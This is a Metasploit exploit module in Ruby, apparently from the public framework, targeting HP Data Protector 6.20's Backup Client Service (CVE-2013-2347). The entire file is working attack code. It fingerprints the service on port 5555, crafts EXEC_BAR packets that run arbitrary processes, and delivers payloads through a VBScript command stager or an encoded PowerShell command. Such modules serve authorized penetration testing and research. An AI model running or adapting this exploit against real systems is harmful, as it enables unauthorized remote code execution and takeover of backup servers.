## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'HP Data Protector Backup Client Service Remote Code Execution', 'Description' => %q{ This module abuses the Backup Client Service (OmniInet.exe) to achieve remote code execution. The vulnerability exists in the EXEC_BAR operation, which allows to execute arbitrary processes. This module has been tested successfully on HP Data Protector 6.20 on Windows 2003 SP2 and Windows 2008 R2. }, 'Author' => [ 'Aniway.Anyway ', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2347' ], [ 'BID', '64647' ], [ 'ZDI', '14-008' ], [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ], [ 'URL', 'http://ddilabs.blogspot.com/2014/02/fun-with-hp-data-protector-execbar.html' ] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_noquot") }, 'Platform' => 'win', 'Targets' => [ [ 'HP Data Protector 6.20 build 370 / VBScript CMDStager', {} ], [ 'HP Data Protector 6.20 build 370 / Powershell', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2014-01-02', 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ Opt::RPORT(5555), OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe']) ] ) deregister_options('CMDSTAGER::FLAVOR') end def check fingerprint = get_fingerprint if fingerprint.nil? return Exploit::CheckCode::Unknown end print_status("HP Data Protector version #{fingerprint}") if fingerprint =~ /HP Data Protector A\.06\.(\d+)/ minor = $1.to_i else return Exploit::CheckCode::Safe end if minor < 21 return Exploit::CheckCode::Appears elsif minor == 21 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Detected end end def exploit if target.name =~ /VBScript CMDStager/ # 7500 just in case, to be sure the command fits after # environment variables expansion execute_cmdstager({ :flavor => :vbs, :linemax => 7500 }) elsif target.name =~ /Powershell/ # Environment variables are not being expanded before, neither in CreateProcess command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { :remove_comspec => true, :encode_final_payload => true }) if command.length > 8000 # Windows 2008 Command Prompt Max Length is 8191 fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command") end print_status("Exploiting through Powershell...") exec_bar(datastore['CMDPATH'], command, "\x00") end end def build_pkt(fields) data = "\xff\xfe" # BOM Unicode fields.each do |v| data << "#{Rex::Text.to_unicode(v)}\x00\x00" data << Rex::Text.to_unicode(" ") # Separator end data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator return [data.length].pack("N") + data end def get_fingerprint ommni = connect ommni.put(rand_text_alpha_upper(64)) resp = ommni.get_once(-1) disconnect if resp.nil? return nil end Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null end def exec_bar(cmd, *args) connect pkt = build_pkt([ "2", # Message Type rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), "11", # Opcode EXEC_BAR rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), "#{cmd}", # Executable rand_text_alpha(8) ].concat(args)) sock.put(pkt) # In my testings the default timeout (10) isn't enough begin res = sock.get_once(-1, 20) rescue EOFError # happens when using the Powershell method disconnect return end fail_with(Failure::Unknown, "#{peer} - Expected answer not received... aborting...") unless exec_bar?(res) disconnect end def exec_bar?(data) return false if data.blank? data_unpacked = data.unpack("NnVv") data_unpacked.length == 4 && data_unpacked[0] == 8 && data_unpacked[1] == 0xfffe && data_unpacked[2] == 0x36 && data_unpacked[3] == 0 end def execute_command(cmd, opts = {}) exec_bar(datastore['CMDPATH'], "/c #{cmd}", "\x00") end def get_vbs_string(str) vbs_str = "" str.each_byte { |b| vbs_str << "Chr(#{b})+" } return vbs_str.chomp("+") end # Make the modifications required to the specific encoder # This exploit uses an specific encoder because quotes (") # aren't allowed when injecting commands def execute_cmdstager_begin(opts) var_decoded = @stager_instance.instance_variable_get(:@var_decoded) var_encoded = @stager_instance.instance_variable_get(:@var_encoded) decoded_file = "#{var_decoded}.exe" encoded_file = "#{var_encoded}.b64" @cmd_list.each do |command| # Because the exploit kills cscript processes to speed up and reliability command.gsub!(/cscript \/\/nologo/, "wscript //nologo") command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file)) command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file)) end end end